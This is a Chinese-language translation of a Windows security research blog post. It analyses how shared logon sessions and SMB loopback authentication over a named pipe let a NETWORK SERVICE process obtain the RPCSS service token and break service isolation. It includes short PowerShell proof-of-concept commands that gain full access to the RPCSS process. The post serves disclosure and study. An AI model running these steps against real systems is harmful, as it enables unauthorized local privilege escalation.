Windows登录会话共享漏洞:突破服务隔离的技术分析

本文详细分析了Windows系统中登录会话共享机制的安全隐患,通过SMB和命名管道实现本地回环认证,演示了如何获取RPCSS服务的令牌并突破NETWORK SERVICE的服务隔离,揭示了潜在权限提升风险。

共享登录会话:稍显过度的安全隐患

Windows的登录会话通常与经过身份验证的单个用户及其令牌绑定。然而,对于服务账户而言,情况并非如此简单。一旦引入服务强化机制,同一登录会话中可能存在多个不同的令牌,这些令牌通过不同的服务组等进行标识。本文演示了一个案例,其中通过多个不同令牌共享登录会话会破坏服务强化的隔离性,至少对NETWORK SERVICE账户如此。另外,请勿忘记S-1-1-0,这并非安全边界。啦啦啦,我听不见!

技术细节深入

当LSASS为新登录会话创建令牌时,它会存储该令牌以供后续检索。大多数情况下,这并无大用,但存在一种情况会重新利用会话令牌:网络身份验证。查看AcquireCredentialsHandle的原型,在指定用于网络身份验证的用户时,你会注意到一个pvLogonID参数。说明如下:

“指向标识用户的本地唯一标识符(LUID)的指针。此参数为文件系统进程(如网络重定向器)提供。此参数可以为NULL。”

这实际意味着什么?如果你在执行网络身份验证时拥有TCB权限,此参数指定用于网络身份验证的令牌的登录会话ID(或从令牌视角看的身份验证ID)。当然,通常如果网络身份验证是发往另一台机器,这并不有趣,因为令牌无法跟随(大致如此)。但本地回环身份验证呢?在这种情况下,这确实重要,因为服务器(同一台机器)上协商的令牌实际上是会话的令牌,而非调用者的令牌。

当然,如果你拥有TCB,几乎可以为所欲为,但这有何用处?线索回到说明中,“…例如网络重定向器”。什么是支持本地回环身份验证且易于访问的网络重定向器?SMB。SMB是否支持任何允许你获取网络身份验证令牌的原语?是的,命名管道。SMB会在内核模式下执行网络身份验证,从而拥有有效的TCB权限吗?当然。转向PowerShell!

注意:此测试在Windows 10 1909上进行,结果可能有所不同。首先,你需要一个以NETWORK SERVICE身份运行的PowerShell进程。你可以按照我上一篇博客文章的指导操作。现在,通过该shell,我们运行一个普通的NETWORK SERVICE进程,无特别之处。但我们确实有SeImpersonatePrivilege,因此我们可能可以运行类似Rotten Potato的工具,但我们不会。相反,为何不目标针对RPCSS服务进程?它也以NETWORK SERVICE身份运行,并且通常有大量多汁的令牌句柄可供我们窃取以获取SYSTEM权限。当然,这样做存在一个问题,让我们尝试打开RPCSS服务进程。

1
2
3
4
5
6
7
8
PS> Get-RunningService "rpcss"
Name  Status  ProcessId
----  ------  ---------
rpcss Running 1152

PS> $p = Get-NtProcess -ProcessId 1152
Get-NtProcess : (0xC0000022) - {Access Denied}
A process has requested access to an object, but has not been granted those access rights.

好吧,这结束了尝试。但等等,通过SMB的本地回环身份验证我们会获得什么令牌?让我们试试。首先创建命名管道并开始监听新连接。

1
2
PS> $pipe = New-NtNamedPipeFile \\.\pipe\ABC -Win32Path
PS> $job = Start-Job { $pipe.Listen() }

接下来通过localhost打开管道的句柄,然后等待作业完成。

1
2
PS> $file = Get-NtFile \\localhost\pipe\ABC -Win32Path
PS> Wait-Job $job | Out-Null

最后在模拟命名管道的同时再次打开RPCSS进程。

1
2
3
4
5
PS> $p = Use-NtObject($pipe.Impersonate()) { 
>>     Get-NtProcess -ProcessId 1152 
>>  }
PS> $p.GrantedAccess
AllAccess

这到底是如何工作的?记得我说过LSASS存储的令牌是该登录会话中创建的第一个令牌吗?那么第一个NETWORK SERVICE进程是RPCSS,因此保存的令牌是RPCSS的令牌。我们可以通过打开模拟令牌并查看组列表来证明这一点。

1
2
3
4
5
6
7
PS> $token = Use-NtObject($pipe.Impersonate()) { 
>> Get-NtToken -Impersonation 
>> }
PS> $token.Groups | ? Name -Match Rpcss
Name             Attributes
----             ----------
NT SERVICE\RpcSs EnabledByDefault, Owner

奇怪的行为,不是吗?当然,这对每个登录会话都有效,尽管普通用户的会话并不那么有趣。另外,请不要忘记,如果你以NETWORK SERVICE身份访问管理员共享,你实际上将以RPCSS服务身份进行身份验证,因此任何可能以服务SID删除的文件都将可访问。无论如何,我相信其他人可以想出更有创意的滥用方式。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计